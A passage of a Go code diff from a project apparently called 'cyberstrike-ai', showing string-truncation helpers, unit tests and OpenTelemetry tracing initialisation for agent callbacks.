return fmt.Sprintf("%T", out)
|
||||
}
|
||||
return truncateRunes(string(b), maxRunes)
|
||||
}
|
||||
|
||||
func minInt(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func itoa(n int) string {
|
||||
return fmt.Sprintf("%d", n)
|
||||
}
|
||||
|
||||
func truncateRunes(s string, maxRunes int) string {
|
||||
if maxRunes <= 0 {
|
||||
return ""
|
||||
}
|
||||
r := []rune(s)
|
||||
if len(r) <= maxRunes {
|
||||
return s
|
||||
}
|
||||
return string(r[:maxRunes]) + "…"
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package einoobserve
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
)
|
||||
|
||||
func TestAttachAgentRunCallbacks_Disabled(t *testing.T) {
|
||||
ctx := context.Background()
|
||||
cfg := &config.MultiAgentEinoCallbacksConfig{Enabled: false}
|
||||
out := AttachAgentRunCallbacks(ctx, cfg, Params{})
|
||||
if out != ctx {
|
||||
t.Fatalf("expected same ctx when disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncateRunes(t *testing.T) {
|
||||
if got := truncateRunes("abc", 10); got != "abc" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
if got := truncateRunes("abcdefghij", 4); got != "abcd…" {
|
||||
t.Fatalf("got %q", got)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,111 @@
|
||||
package einoobserve
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"cyberstrike-ai/internal/config"
|
||||
|
||||
"go.opentelemetry.io/otel"
|
||||
"go.opentelemetry.io/otel/exporters/otlp/otlptrace/otlptracehttp"
|
||||
"go.opentelemetry.io/otel/exporters/stdout/stdouttrace"
|
||||
"go.opentelemetry.io/otel/sdk/resource"
|
||||
sdktrace "go.opentelemetry.io/otel/sdk/trace"
|
||||
semconv "go.opentelemetry.io/otel/semconv/v1.26.0"
|
||||
"go.uber.org/zap"
|
||||
)
|
||||
|
||||
var (
|
||||
otelMu sync.Mutex
|
||||
otelShutdown func(context.Context) error
|
||||
otelInitialized bool
|
||||
)
|
||||
|
||||
// InitOtelFromConfig installs the global OpenTelemetry TracerProvider when
|
||||
// eino_callbacks.otel is enabled and exporter is not none. Safe to call multiple times.
|
||||
func InitOtelFromConfig(cfg *config.MultiAgentEinoCallbacksConfig, log *zap.Logger) (shutdown func(context.Context) error, err error) {
|
||||
shutdown = func(context.Context) error { return nil }
|
||||
if cfg == nil || !cfg.OtelTracingActive() {
|
||||
return shutdown, nil
|
||||
}
|
||||
|
||||
otelMu.Lock()
|
||||
defer otelMu.Unlock()
|
||||
if otelInitialized {
|
||||
if otelShutdown != nil {
|
||||
return otelShutdown, nil
|
||||
}
|
||||
return shutdown, nil
|
||||
}
|
||||
|
||||
oc := cfg.Otel
|
||||
expKind := oc.OtelExporterEffective()
|
||||
ctx := context.Background()
|
||||
|
||||
var exporter sdktrace.SpanExporter
|
||||
switch expKind {
|
||||
case "stdout":
|
||||
exporter, err = stdouttrace.New()
|
||||
if err != nil {
|
||||
return shutdown, fmt.Errorf("eino otel stdout exporter: %w", err)
|
||||
}
|
||||
case "otlphttp":
|
||||
ep := strings.TrimSpace(oc.OTLPEndpoint)
|
||||
if ep == "" {
|
||||
ep = "localhost:4318"
|
||||
}
|
||||
exporter, err = otlptracehttp.New(ctx,
|
||||
otlptracehttp.WithEndpoint(ep),
|
||||
otlptracehttp.WithURLPath("/v1/traces"),
|
||||
)
|
||||
if err != nil {
|
||||
return shutdown, fmt.Errorf("eino otel otlphttp exporter: %w", err)
|
||||
}
|
||||
default:
|
||||
return shutdown, nil
|
||||
}
|
||||
|
||||
res, err := resource.New(ctx,
|
||||
resource.WithAttributes(
|
||||
semconv.ServiceName(oc.ServiceNameEffective()),
|
||||
),
|
||||
)
|
||||
if err != nil {
|
||||
return shutdown, fmt.Errorf("eino otel resource: %w", err)
|
||||
}
|
||||
|
||||
sampler := sdktrace.ParentBased(sdktrace.TraceIDRatioBased(oc.SampleRatioEffective()))
|
||||
tp := sdktrace.NewTracerProvider(
|
||||
sdktrace.WithBatcher(exporter),
|
||||
sdktrace.WithResource(res),
|
||||
sdktrace.WithSampler(sampler),
|
||||
)
|
||||
otel.SetTracerProvider(tp)
|
||||
|
||||
otelShutdown = tp.Shutdown
|
||||
otelInitialized = true
|
||||
if log != nil {
|
||||
log.Info("eino otel: tracer provider initialized",
|
||||
zap.String("exporter", expKind),
|
||||
zap.String("service", oc.ServiceNameEffective()),
|
||||
zap.Float64("sample_ratio", oc.SampleRatioEffective()),
|
||||
)
|
||||
}
|
||||
return otelShutdown, nil
|
||||
}
|
||||
|
||||
// ShutdownOtel flushes and shuts down the global TracerProvider if it was installed.
|
||||
func ShutdownOtel(ctx context.Context) error {
|
||||
otelMu.Lock()
|
||||
fn := otelShutdown
|
||||
otelShutdown = nil
|
||||
inited := otelInitialized
|
||||
otelInitialized = false
|
||||
otelMu.Unlock()
|
||||
if !inited || fn == nil {
|
||||
return nil
|
||||
}
|
||||
return fn(ctx)
|
||||
}
|
||||
+600
-933
File diff suppressed because it is too large
Load Diff
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user